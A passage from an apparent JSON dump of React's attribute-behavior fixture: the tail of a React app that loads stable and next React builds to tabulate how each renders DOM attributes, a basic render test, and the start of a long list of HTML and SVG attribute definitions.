{popover}\n      </div>\n    );\n  }\n}\n\nfunction ColumnHeader({children}) {\n  return (\n    <div\n      css={{\n        position: 'absolute',\n        width: '100%',\n        height: '100%',\n        display: 'flex',\n        alignItems: 'center',\n      }}>\n      {children}\n    </div>\n  );\n}\n\nfunction RowHeader({children, checked, onChange}) {\n  return (\n    <div\n      css={{\n        position: 'absolute',\n        width: '100%',\n        height: '100%',\n        display: 'flex',\n        alignItems: 'center',\n      }}>\n      <input type=\"checkbox\" checked={checked} onChange={onChange} />\n      {children}\n    </div>\n  );\n}\n\nfunction CellContent(props) {\n  const {\n    columnIndex,\n    rowIndex,\n    attributesInSortedOrder,\n    completedHashes,\n    toggleAttribute,\n    table,\n  } = props;\n  const attribute = attributesInSortedOrder[rowIndex - 1];\n  const type = types[columnIndex - 1];\n\n  if (columnIndex === 0) {\n    if (rowIndex === 0) {\n      return null;\n    }\n    const row = table.get(attribute);\n    const rowPatternHash = row.rowPatternHash;\n    return (\n      <RowHeader\n        checked={completedHashes.has(rowPatternHash)}\n        onChange={() => toggleAttribute(rowPatternHash)}>\n        {row.hasSameBehaviorForAll ? (\n          attribute.name\n        ) : (\n          <b css={{color: 'purple'}}>{attribute.name}</b>\n        )}\n      </RowHeader>\n    );\n  }\n\n  if (rowIndex === 0) {\n    return <ColumnHeader>{type.name}</ColumnHeader>;\n  }\n\n  const row = table.get(attribute);\n  const result = row.results.get(type.name);\n\n  return <Result {...result} />;\n}\n\nfunction saveToLocalStorage(completedHashes) {\n  const str = JSON.stringify([...completedHashes]);\n  localStorage.setItem('completedHashes', str);\n}\n\nfunction restoreFromLocalStorage() {\n  const str = localStorage.getItem('completedHashes');\n  if (str) {\n    const completedHashes = new Set(JSON.parse(str));\n    return completedHashes;\n  }\n  return new Set();\n}\n\nconst useFastMode = /[?&]fast\\b/.test(window.location.href);\n\nclass App extends React.Component {\n  state = {\n    sortOrder: ALPHABETICAL,\n    filter: ALL,\n    completedHashes: restoreFromLocalStorage(),\n    table: null,\n    rowPatternHashes: null,\n  };\n\n  renderCell = ({key, ...props}) => {\n    return (\n      <div key={key} style={props.style}>\n        <CellContent\n          toggleAttribute={this.toggleAttribute}\n          completedHashes={this.state.completedHashes}\n          table={this.state.table}\n          attributesInSortedOrder={this.attributes}\n          {...props}\n        />\n      </div>\n    );\n  };\n\n  onUpdateSort = e => {\n    this.setState({sortOrder: e.target.value});\n  };\n\n  onUpdateFilter = e => {\n    this.setState({filter: e.target.value});\n  };\n\n  toggleAttribute = rowPatternHash => {\n    const completedHashes = new Set(this.state.completedHashes);\n    if (completedHashes.has(rowPatternHash)) {\n      completedHashes.delete(rowPatternHash);\n    } else {\n      completedHashes.add(rowPatternHash);\n    }\n    this.setState({completedHashes}, () => saveToLocalStorage(completedHashes));\n  };\n\n  async componentDidMount() {\n    const sources = {\n      ReactStable: 'https://unpkg.com/react@latest/umd/react.development.js',\n      ReactDOMStable:\n        'https://unpkg.com/react-dom@latest/umd/react-dom.development.js',\n      ReactDOMServerStable:\n        'https://unpkg.com/react-dom@latest/umd/react-dom-server.browser.development.js',\n      ReactNext: '/react.development.js',\n      ReactDOMNext: '/react-dom.development.js',\n      ReactDOMServerNext: '/react-dom-server.browser.development.js',\n    };\n    const codePromises = Object.values(sources).map(src =>\n      fetch(src).then(res => res.text())\n    );\n    const codesByIndex = await Promise.all(codePromises);\n\n    const pool = [];\n    function initGlobals(attribute, type) {\n      if (useFastMode) {\n        // Note: this is not giving correct results for warnings.\n        // But it's much faster.\n        if (pool[0]) {\n          return pool[0].globals;\n        }\n      } else {\n        document.title = `${attribute.name} (${type.name})`;\n      }\n\n      // Creating globals for every single test is too slow.\n      // However caching them between runs won't work for the same attribute names\n      // because warnings will be deduplicated. As a result, we only share globals\n      // between different attribute names.\n      for (let i = 0; i < pool.length; i++) {\n        if (!pool[i].testedAttributes.has(attribute.name)) {\n          pool[i].testedAttributes.add(attribute.name);\n          return pool[i].globals;\n        }\n      }\n\n      let globals = {};\n      Object.keys(sources).forEach((name, i) => {\n        eval.call(window, codesByIndex[i]); // eslint-disable-line\n        globals[name] = window[name.replace(/Stable|Next/g, '')];\n      });\n\n      // Cache for future use (for different attributes).\n      pool.push({\n        globals,\n        testedAttributes: new Set([attribute.name]),\n      });\n\n      return globals;\n    }\n\n    const {table, rowPatternHashes} = await prepareState(initGlobals);\n    document.title = 'Ready';\n\n    this.setState({\n      table,\n      rowPatternHashes,\n    });\n  }\n\n  componentWillUpdate(nextProps, nextState) {\n    if (\n      nextState.sortOrder !== this.state.sortOrder ||\n      nextState.filter !== this.state.filter ||\n      nextState.completedHashes !== this.state.completedHashes ||\n      nextState.table !== this.state.table\n    ) {\n      this.attributes = this.getAttributes(\n        nextState.table,\n        nextState.rowPatternHashes,\n        nextState.sortOrder,\n        nextState.filter,\n        nextState.completedHashes\n      );\n      if (this.grid) {\n        this.grid.forceUpdateGrids();\n      }\n    }\n  }\n\n  getAttributes(table, rowPatternHashes, sortOrder, filter, completedHashes) {\n    // Filter\n    let filteredAttributes;\n    switch (filter) {\n      case ALL:\n        filteredAttributes = attributes.filter(() => true);\n        break;\n      case COMPLETE:\n        filteredAttributes = attributes.filter(attribute => {\n          const row = table.get(attribute);\n          return completedHashes.has(row.rowPatternHash);\n        });\n        break;\n      case INCOMPLETE:\n        filteredAttributes = attributes.filter(attribute => {\n          const row = table.get(attribute);\n          return !completedHashes.has(row.rowPatternHash);\n        });\n        break;\n      default:\n        throw new Error('Switch statement should be exhaustive');\n    }\n\n    // Sort\n    switch (sortOrder) {\n      case ALPHABETICAL:\n        return filteredAttributes.sort((attr1, attr2) =>\n          attr1.name.toLowerCase() < attr2.name.toLowerCase() ? -1 : 1\n        );\n      case REV_ALPHABETICAL:\n        return filteredAttributes.sort((attr1, attr2) =>\n          attr1.name.toLowerCase() < attr2.name.toLowerCase() ? 1 : -1\n        );\n      case GROUPED_BY_ROW_PATTERN: {\n        return filteredAttributes.sort((attr1, attr2) => {\n          const row1 = table.get(attr1);\n          const row2 = table.get(attr2);\n          const patternGroup1 = rowPatternHashes.get(row1.rowPatternHash);\n          const patternGroupSize1 = (patternGroup1 && patternGroup1.size) || 0;\n          const patternGroup2 = rowPatternHashes.get(row2.rowPatternHash);\n          const patternGroupSize2 = (patternGroup2 && patternGroup2.size) || 0;\n          return patternGroupSize2 - patternGroupSize1;\n        });\n      }\n      default:\n        throw new Error('Switch statement should be exhaustive');\n    }\n  }\n\n  handleSaveClick = e => {\n    e.preventDefault();\n\n    if (useFastMode) {\n      alert(\n        'Fast mode is not accurate. Please remove ?fast from the query string, and reload.'\n      );\n      return;\n    }\n\n    let log = '';\n    for (let attribute of attributes) {\n      log += `## \\`${attribute.name}\\` (on \\`<${\n        attribute.tagName || 'div'\n      }>\\` inside \\`<${attribute.containerTagName || 'div'}>\\`)\\n`;\n      log += '| Test Case | Flags | Result |\\n';\n      log += '| --- | --- | --- |\\n';\n\n      const attributeResults = this.state.table.get(attribute).results;\n      for (let type of types) {\n        const {\n          didError,\n          didWarn,\n          canonicalResult,\n          canonicalDefaultValue,\n          ssrDidError,\n          ssrHasSameBehavior,\n          ssrHasSameBehaviorExceptWarnings,\n        } = attributeResults.get(type.name).reactNext;\n\n        let descriptions = [];\n        if (canonicalResult === canonicalDefaultValue) {\n          descriptions.push('initial');\n        } else {\n          descriptions.push('changed');\n        }\n        if (didError) {\n          descriptions.push('error');\n        }\n        if (didWarn) {\n          descriptions.push('warning');\n        }\n        if (ssrDidError) {\n          descriptions.push('ssr error');\n        }\n        if (!ssrHasSameBehavior) {\n          if (ssrHasSameBehaviorExceptWarnings) {\n            descriptions.push('ssr warning');\n          } else {\n            descriptions.push('ssr mismatch');\n          }\n        }\n        log +=\n          `| \\`${attribute.name}=(${type.name})\\`` +\n          `| (${descriptions.join(', ')})` +\n          `| \\`${canonicalResult || ''}\\` |\\n`;\n      }\n      log += '\\n';\n    }\n\n    const blob = new Blob([log], {type: 'text/plain;charset=utf-8'});\n    FileSaver.saveAs(blob, 'AttributeTableSnapshot.md');\n  };\n\n  render() {\n    if (!this.state.table) {\n      return (\n        <div>\n          <h1>Loading...</h1>\n          {!useFastMode && (\n            <h3>The progress is reported in the window title.</h3>\n          )}\n        </div>\n      );\n    }\n    return (\n      <div>\n        <div>\n          <select value={this.state.sortOrder} onChange={this.onUpdateSort}>\n            <option value={ALPHABETICAL}>alphabetical</option>\n            <option value={REV_ALPHABETICAL}>reverse alphabetical</option>\n            <option value={GROUPED_BY_ROW_PATTERN}>\n              grouped by row pattern :)\n            </option>\n          </select>\n          <select value={this.state.filter} onChange={this.onUpdateFilter}>\n            <option value={ALL}>all</option>\n            <option value={INCOMPLETE}>incomplete</option>\n            <option value={COMPLETE}>complete</option>\n          </select>\n          <button style={{marginLeft: '10px'}} onClick={this.handleSaveClick}>\n            Save latest results to a file{' '}\n            <span role=\"img\" aria-label=\"Save\">\n              💾\n            </span>\n          </button>\n        </div>\n        <AutoSizer disableHeight={true}>\n          {({width}) => (\n            <MultiGrid\n              ref={input => {\n                this.grid = input;\n              }}\n              cellRenderer={this.renderCell}\n              columnWidth={200}\n              columnCount={1 + types.length}\n              fixedColumnCount={1}\n              enableFixedColumnScroll={true}\n              enableFixedRowScroll={true}\n              height={1200}\n              rowHeight={40}\n              rowCount={this.attributes.length + 1}\n              fixedRowCount={1}\n              width={width}\n            />\n          )}\n        </AutoSizer>\n      </div>\n    );\n  }\n}\n\nexport default App;\n"
  },
  {
    "path": "fixtures/attribute-behavior/src/App.test.js",
    "content": "import React from 'react';\nimport ReactDOM from 'react-dom';\nimport App from './App';\n\nit('renders without crashing', () => {\n  const div = document.createElement('div');\n  ReactDOM.render(<App />, div);\n});\n"
  },
  {
    "path": "fixtures/attribute-behavior/src/attributes.js",
    "content": "function getProperty(propertyName) {\n  return el => el[propertyName];\n}\n\nfunction getAttribute(attributeName) {\n  return el => {\n    if (el.namespaceURI === '') {\n      throw new Error('Not an HTML element.');\n    }\n    return el.getAttribute(attributeName);\n  };\n}\n\nfunction getSVGProperty(propertyName) {\n  return el => el[propertyName];\n}\n\nfunction getSVGAttribute(attributeName) {\n  return el => {\n    if (el.namespaceURI !== 'http://www.w3.org/2000/svg') {\n      throw new Error('Not an SVG element.');\n    }\n    return el.getAttribute(attributeName);\n  };\n}\n\nconst attributes = [\n  {name: 'about', read: getAttribute('about')},\n  {name: 'aBoUt', read: getAttribute('about')},\n  {\n    name: 'accent-Height',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('accent-height'),\n  },\n  {\n    name: 'accent-height',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('accent-height'),\n  },\n  {\n    name: 'accentHeight',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('accent-height'),\n  },\n  {name: 'accept', tagName: 'input'},\n  {name: 'accept-charset', tagName: 'form', read: getProperty('acceptCharset')},\n  {name: 'accept-Charset', tagName: 'form', read: getProperty('acceptCharset')},\n  {name: 'acceptCharset', tagName: 'form'},\n  {name: 'accessKey'},\n  {\n    name: 'accumulate',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('accumulate'),\n  },\n  {name: 'action', tagName: 'form', overrideStringValue: 'https://reactjs.com'},\n  {\n    name: 'additive',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('additive'),\n  },\n  {\n    name: 'alignment-baseline',\n    containerTagName: 'svg',\n    tagName: 'textPath',\n    read: getSVGAttribute('alignment-baseline'),\n  },\n  {\n    name: 'alignmentBaseline',\n    containerTagName: 'svg',\n    tagName: 'textPath',\n    read: getSVGAttribute('alignment-baseline'),\n  },\n  {\n    name: 'allowFullScreen',\n    tagName: 'iframe',\n    read: getProperty('allowFullscreen'),\n  },\n  {\n    name: 'allowfullscreen',\n    tagName: 'iframe',\n    read: getProperty('allowFullscreen'),\n  },\n  {name: 'allowFullscreen', tagName: 'iframe'},\n  {\n    name: 'allowReorder',\n    containerTagName: 'svg',\n    tagName: 'switch',\n    read: getSVGAttribute('allowReorder'),\n  },\n  {\n    name: 'alphabetic',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('alphabetic'),\n  },\n  {name: 'alt', tagName: 'img'},\n  {\n    name: 'amplitude',\n    containerTagName: 'svg',\n    tagName: 'feFuncA',\n    read: getSVGProperty('amplitude'),\n  },\n  {\n    name: 'arabic-form',\n    containerTagName: 'svg',\n    tagName: 'glyph',\n    read: getSVGAttribute('arabic-form'),\n  },\n  {\n    name: 'arabicForm',\n    containerTagName: 'svg',\n    tagName: 'glyph',\n    read: getSVGAttribute('arabic-form'),\n  },\n  {name: 'aria', read: getAttribute('aria')},\n  {name: 'aria-', read: getAttribute('aria-')},\n  {name: 'aria-hidden', read: getProperty('ariaHidden')},\n  {name: 'aria-invalidattribute', read: getAttribute('aria-invalidattribute')},\n  {name: 'as', tagName: 'link'},\n  {\n    name: 'ascent',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('ascent'),\n  },\n  {name: 'async', tagName: 'script'},\n  {\n    name: 'attributeName',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('attributeName'),\n  },\n  {\n    name: 'attributeType',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('attributeType'),\n  },\n  {\n    name: 'autoCapitalize',\n    tagName: 'input',\n    read: getProperty('autocapitalize'),\n    overrideStringValue: 'words',\n  },\n  {\n    name: 'autoComplete',\n    tagName: 'input',\n    overrideStringValue: 'email',\n    read: getProperty('autocomplete'),\n  },\n  {\n    name: 'autoCorrect',\n    tagName: 'input',\n    overrideStringValue: 'off',\n    read: getAttribute('autocorrect'),\n  },\n  {name: 'autoPlay', tagName: 'video', read: getProperty('autoplay')},\n  {\n    name: 'autoReverse',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('autoreverse'),\n  },\n  {name: 'autoSave', tagName: 'input', read: getAttribute('autosave')},\n  {\n    name: 'azimuth',\n    containerTagName: 'svg',\n    tagName: 'feDistantLight',\n    read: getSVGProperty('azimuth'),\n  },\n  {\n    name: 'baseFrequency',\n    containerTagName: 'svg',\n    tagName: 'feTurbulence',\n    read: getSVGAttribute('baseFrequency'),\n  },\n  {\n    name: 'baseline-shift',\n    containerTagName: 'svg',\n    tagName: 'textPath',\n    read: getSVGAttribute('baseline-shift'),\n  },\n  {\n    name: 'baselineShift',\n    containerTagName: 'svg',\n    tagName: 'textPath',\n    read: getSVGAttribute('baseline-shift'),\n  },\n  {name: 'baseProfile', tagName: 'svg', read: getSVGAttribute('baseProfile')},\n  {\n    name: 'bbox',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('bbox'),\n  },\n  {\n    name: 'begin',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('begin'),\n  },\n  {\n    name: 'bias',\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n    read: getSVGProperty('bias'),\n  },\n  {\n    name: 'by',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('by'),\n  },\n  {\n    name: 'calcMode',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    overrideStringValue: 'discrete',\n    read: getSVGAttribute('calcMode'),\n  },\n  {\n    name: 'cap-height',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('cap-height'),\n  },\n  {\n    name: 'capHeight',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('cap-height'),\n  },\n  {\n    name: 'capture',\n    tagName: 'input',\n    overrideStringValue: 'environment',\n    read: getAttribute('capture'),\n  },\n  {name: 'cellPadding', tagName: 'table'},\n  {name: 'cellSpacing', tagName: 'table'},\n  {\n    name: 'challenge',\n    tagName: 'keygen',\n    read: getAttribute('challenge'), // The property is not supported in Chrome.\n  },\n  {name: 'charSet', tagName: 'script', read: getProperty('charset')},\n  {name: 'checked', tagName: 'input', extraProps: {onChange() {}}},\n  {name: 'Checked', tagName: 'input', read: getAttribute('Checked')},\n  {name: 'Children', read: getAttribute('children')},\n  {name: 'children'},\n  {\n    name: 'cite',\n    tagName: 'blockquote',\n    overrideStringValue: 'https://reactjs.com/',\n  },\n  {name: 'class', read: getAttribute('class')},\n  {name: 'classID', tagName: 'object', read: getAttribute('classid')},\n  {name: 'className'},\n  {name: 'clip', tagName: 'svg', read: getAttribute('clip')},\n  {\n    name: 'clip-path',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('clip-path'),\n  },\n  {\n    name: 'clipPath',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('clip-path'),\n  },\n  {\n    name: 'clipPathUnits',\n    containerTagName: 'svg',\n    tagName: 'clipPath',\n    overrideStringValue: 'objectBoundingBox',\n    read: getSVGProperty('clipPathUnits'),\n  },\n  {\n    name: 'clip-rule',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('clip-rule'),\n  },\n  {\n    name: 'clipRule',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('clip-rule'),\n  },\n  {\n    name: 'color',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('color'),\n  },\n  {\n    name: 'color-interpolation',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    overrideStringValue: 'sRGB',\n    read: getSVGAttribute('color-interpolation'),\n  },\n  {\n    name: 'colorInterpolation',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    overrideStringValue: 'sRGB',\n    read: getSVGAttribute('color-interpolation'),\n  },\n  {\n    name: 'color-interpolation-filters',\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n    overrideStringValue: 'sRGB',\n    read: getSVGAttribute('color-interpolation-filters'),\n  },\n  {\n    name: 'colorInterpolationFilters',\n    containerTagName: 'svg',\n    tagName: 'feComposite',\n    overrideStringValue: 'sRGB',\n    read: getSVGAttribute('color-interpolation-filters'),\n  },\n  {\n    name: 'color-profile',\n    containerTagName: 'svg',\n    tagName: 'image',\n    overrideStringValue: 'sRGB',\n    read: getSVGAttribute('color-profile'),\n  },\n  {\n    name: 'colorProfile',\n    containerTagName: 'svg',\n    tagName: 'image',\n    overrideStringValue: 'sRGB',\n    read: getSVGAttribute('color-profile'),\n  },\n  {\n    name: 'color-rendering',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    overrideStringValue: 'optimizeSpeed',\n    read: getSVGAttribute('color-rendering'),\n  },\n  {\n    name: 'colorRendering',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    overrideStringValue: 'optimizeSpeed',\n    read: getSVGAttribute('color-rendering'),\n  },\n  {name: 'cols', tagName: 'textarea'},\n  {name: 'colSpan', containerTagName: 'tr', tagName: 'td'},\n  {name: 'content', containerTagName: 'head', tagName: 'meta'},\n  {name: 'contentEditable'},\n  {\n    name: 'contentScriptType',\n    tagName: 'svg',\n    read: getSVGAttribute('contentScriptType'),\n  },\n  {\n    name: 'contentStyleType',\n    tagName: 'svg',\n    read: getSVGAttribute('contentStyleType'),\n  },\n  {name: 'contextMenu', read: getAttribute('contextmenu')}, // TODO: Read the property by rendering a menu with the ID.\n  {name: 'controls', tagName: 'video'},\n  {name: 'coords', tagName: 'a'},\n  {name: 'crossOrigin', tagName: 'script'},\n  {name: 'cursor', tag: 'svg', read: getAttribute('cursor')},\n  {\n    name: 'cx',\n    containerTagName: 'svg',\n    tagName: 'circle',\n    overrideStringValue: '10px',\n    read: getSVGProperty('cx'),\n  },\n  {\n    name: 'cy',\n    containerTagName: 'svg',\n    tagName: 'circle',\n    overrideStringValue: '10%',\n    read: getSVGProperty('cy'),\n  },\n  {\n    name: 'd',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('d'),\n  },\n  {\n    name: 'dangerouslySetInnerHTML',\n    read: getAttribute('dangerouslySetInnerHTML'),\n  },\n  {\n    name: 'DangerouslySetInnerHTML',\n    read: getAttribute('DangerouslySetInnerHTML'),\n  },\n  {name: 'data', read: getAttribute('data')},\n  {name: 'data-', read: getAttribute('data-')},\n  {name: 'data-unknownattribute', read: getAttribute('data-unknownattribute')},\n  {name: 'datatype', read: getAttribute('datatype')},\n  {\n    name: 'dateTime',\n    tagName: 'time',\n    overrideStringValue: '2001-05-15T19:00',\n    read: getAttribute('datetime'),\n  },\n  {\n    name: 'decelerate',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('decelerate'),\n  },\n  {name: 'default', tagName: 'track'},\n  {\n    name: 'defaultchecked',\n    tagName: 'input',\n    read: getAttribute('defaultchecked'),\n  },\n  {name: 'defaultChecked', tagName: 'input'},\n  {name: 'defaultValue', tagName: 'input'},\n  {name: 'defaultValuE', tagName: 'input', read: getAttribute('defaultValuE')},\n  {name: 'defer', tagName: 'script'},\n  {\n    name: 'descent',\n    containerTagName: 'svg',\n    tagName: 'font-face',\n    read: getSVGAttribute('descent'),\n  },\n  {\n    name: 'diffuseConstant',\n    containerTagName: 'svg',\n    tagName: 'feDiffuseLighting',\n    read: getSVGProperty('diffuseConstant'),\n  },\n  {name: 'dir', overrideStringValue: 'rtl'},\n  {\n    name: 'direction',\n    containerTagName: 'svg',\n    tagName: 'text',\n    overrideStringValue: 'rtl',\n    read: getSVGAttribute('direction'),\n  },\n  {name: 'disabled', tagName: 'input'},\n  {\n    name: 'disablePictureInPicture',\n    tagName: 'video',\n    read: getProperty('disablepictureinpicture'),\n  },\n  {\n    name: 'disableRemotePlayback',\n    tagName: 'video',\n    read: getProperty('disableremoteplayback'),\n  },\n  {\n    name: 'display',\n    tagName: 'svg',\n    overrideStringValue: 'list-item',\n    read: getAttribute('display'),\n  },\n  {\n    name: 'divisor',\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n    read: getSVGProperty('divisor'),\n  },\n  {\n    name: 'dominant-baseline',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('dominant-baseline'),\n  },\n  {\n    name: 'dominantBaseline',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('dominant-baseline'),\n  },\n  {name: 'download', tagName: 'a'},\n  {name: 'dOwNlOaD', tagName: 'a', read: getAttribute('dOwNlOaD')},\n  {name: 'draggable'},\n  {\n    name: 'dur',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('dur'),\n  },\n  {\n    name: 'dx',\n    containerTagName: 'svg',\n    tagName: 'text',\n    overrideStringValue: '1pt 2px 3em',\n    read: getSVGProperty('dx'),\n  },\n  {\n    name: 'dX',\n    containerTagName: 'svg',\n    tagName: 'text',\n    overrideStringValue: '1pt 2px 3em',\n    read: getSVGProperty('dx'),\n  },\n  {\n    name: 'dy',\n    containerTagName: 'svg',\n    tagName: 'text',\n    overrideStringValue: '1 2 3',\n    read: getSVGProperty('dy'),\n  },\n  {\n    name: 'dY',\n    containerTagName: 'svg',\n    tagName: 'text',\n    overrideStringValue: '1 2 3',\n    read: getSVGProperty('dy'),\n  },\n  {\n    name: 'edgeMode',\n    containerTagName: 'svg',\n    tagName: 'feConvolveMatrix',\n    overrideStringValue: 'wrap',\n    read: getSVGProperty('edgeMode'),\n  },\n  {\n    name: 'elevation',\n    containerTagName: 'svg',\n    tagName: 'feDistantLight',\n    read: getSVGProperty('elevation'),\n  },\n  {\n    name: 'enable-background',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('enable-background'),\n  },\n  {\n    name: 'enableBackground',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('enable-background'),\n  },\n  {\n    name: 'encType',\n    tagName: 'form',\n    overrideStringValue: 'text/plain',\n    read: getProperty('enctype'),\n  },\n  {\n    name: 'end',\n    containerTagName: 'svg',\n    tagName: 'animate',\n    read: getSVGAttribute('end'),\n  },\n  {\n    name: 'enterKeyHint',\n    tagName: 'input',\n    read: getProperty('enterKeyHint'),\n  },\n  {\n    name: 'exponent',\n    read: getSVGProperty('exponent'),\n    containerTagName: 'svg',\n    tagName: 'feFuncA',\n  },\n  {\n    name: 'externalResourcesRequired',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('externalResourcesRequired'),\n  },\n  {\n    name: 'fetchPriority',\n    overrideStringValue: 'high',\n    tagName: 'img',\n    read: getProperty('fetchPriority'),\n  },\n  {\n    name: 'fetchpriority',\n    overrideStringValue: 'high',\n    tagName: 'img',\n    read: getProperty('fetchPriority'),\n  },\n  {\n    name: 'fetchPriority',\n    overrideStringValue: 'high',\n    tagName: 'link',\n    read: getProperty('fetchPriority'),\n  },\n  {\n    name: 'fill',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('fill'),\n  },\n  {\n    name: 'fillOpacity',\n    containerTagName: 'svg',\n    tagName: 'circle',\n    read: getSVGAttribute('fill-opacity'),\n  },\n  {\n    name: 'fill-opacity',\n    containerTagName: 'svg',\n    tagName: 'circle',\n    read: getSVGAttribute('fill-opacity'),\n  },\n  {\n    name: 'fillRule',\n    containerTagName: 'svg',\n    tagName: 'circle',\n    read: getSVGAttribute('fill-rule'),\n  },\n  {\n    name: 'fill-rule',\n    containerTagName: 'svg',\n    tagName: 'circle',\n    read: getSVGAttribute('fill-rule'),\n  },\n  {\n    name: 'filter',\n    containerTagName: 'svg',\n    tagName: 'g',\n    read: getSVGAttribute('filter'),\n  },\n  {\n    name: 'filterRes',\n    containerTagName: 'svg',\n    tagName: 'filter',\n    read: getSVGAttribute('filterRes'),\n  },\n  {\n    name: 'filterUnits',\n    containerTagName: 'svg',\n    tagName: 'filter',\n    overrideStringValue: 'userSpaceOnUse',\n    read: getSVGProperty('filterUnits'),\n  },\n  {\n    name: 'flood-color',\n    containerTagName: 'svg',\n    tagName: 'feflood',\n    overrideStringValue: 'currentColor',\n    read: getSVGAttribute('flood-color'),\n  },\n  {\n    name: 'floodColor',\n    containerTagName: 'svg',\n    tagName: 'feflood',\n    overrideStringValue: 'currentColor',\n    read: getSVGAttribute('flood-color'),\n  },\n  {\n    name: 'flood-opacity',\n    containerTagName: 'svg',\n    tagName: 'feflood',\n    overrideStringValue: 'inherit',\n    read: getSVGAttribute('flood-opacity'),\n  },\n  {\n    name: 'floodOpacity',\n    containerTagName: 'svg',\n    tagName: 'feflood',\n    overrideStringValue: 'inherit',\n    read: getSVGAttribute('flood-opacity'),\n  },\n  {name: 'focusable', tagName: 'p', read: getAttribute('focusable')},\n  {\n    name: 'font-family',\n    read: getSVGAttribute('font-family'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'font-size',\n    read: getSVGAttribute('font-size'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'font-size-adjust',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('font-size-adjust'),\n  },\n  {\n    name: 'font-stretch',\n    read: getSVGAttribute('font-stretch'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'font-style',\n    read: getSVGAttribute('font-style'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'font-variant',\n    read: getSVGAttribute('font-variant'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'font-weight',\n    read: getSVGAttribute('font-weight'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'fontFamily',\n    read: getSVGAttribute('font-family'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'fontSize',\n    read: getSVGAttribute('font-size'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'fontSizeAdjust',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('font-size-adjust'),\n  },\n  {\n    name: 'fontStretch',\n    read: getSVGAttribute('font-stretch'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'fontStyle',\n    read: getSVGAttribute('font-style'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'fontVariant',\n    read: getSVGAttribute('font-variant'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'fontWeight',\n    read: getSVGAttribute('font-weight'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'for', tagName: 'label', read: getProperty('htmlFor')},\n  {name: 'fOr', tagName: 'label', read: getProperty('htmlFor')},\n  {name: 'form', read: getAttribute('form')}, // TODO: Read the property by rendering into a form with i\n  {\n    name: 'formAction',\n    tagName: 'input',\n    overrideStringValue: 'https://reactjs.com',\n  },\n  {\n    name: 'format',\n    read: getSVGAttribute('format'),\n    containerTagName: 'svg',\n    tagName: 'altGlyph',\n  },\n  {name: 'formEncType', tagName: 'input', read: getProperty('formEnctype')},\n  {name: 'formMethod', tagName: 'input', overrideStringValue: 'POST'},\n  {name: 'formNoValidate', tagName: 'input'},\n  {name: 'formTarget', tagName: 'input'},\n  {name: 'frameBorder', tagName: 'iframe'},\n  {\n    name: 'from',\n    read: getSVGAttribute('from'),\n    containerTagName: 'svg',\n    tagName: 'animate',\n  },\n  {\n    name: 'fx',\n    read: getSVGProperty('fx'),\n    containerTagName: 'svg',\n    overrideStringValue: '10px',\n    tagName: 'radialGradient',\n  },\n  {\n    name: 'fX',\n    containerTagName: 'svg',\n    tagName: 'radialGradient',\n    overrideStringValue: '10px',\n    read: getSVGProperty('fx'),\n  },\n  {\n    name: 'fY',\n    containerTagName: 'svg',\n    tagName: 'radialGradient',\n    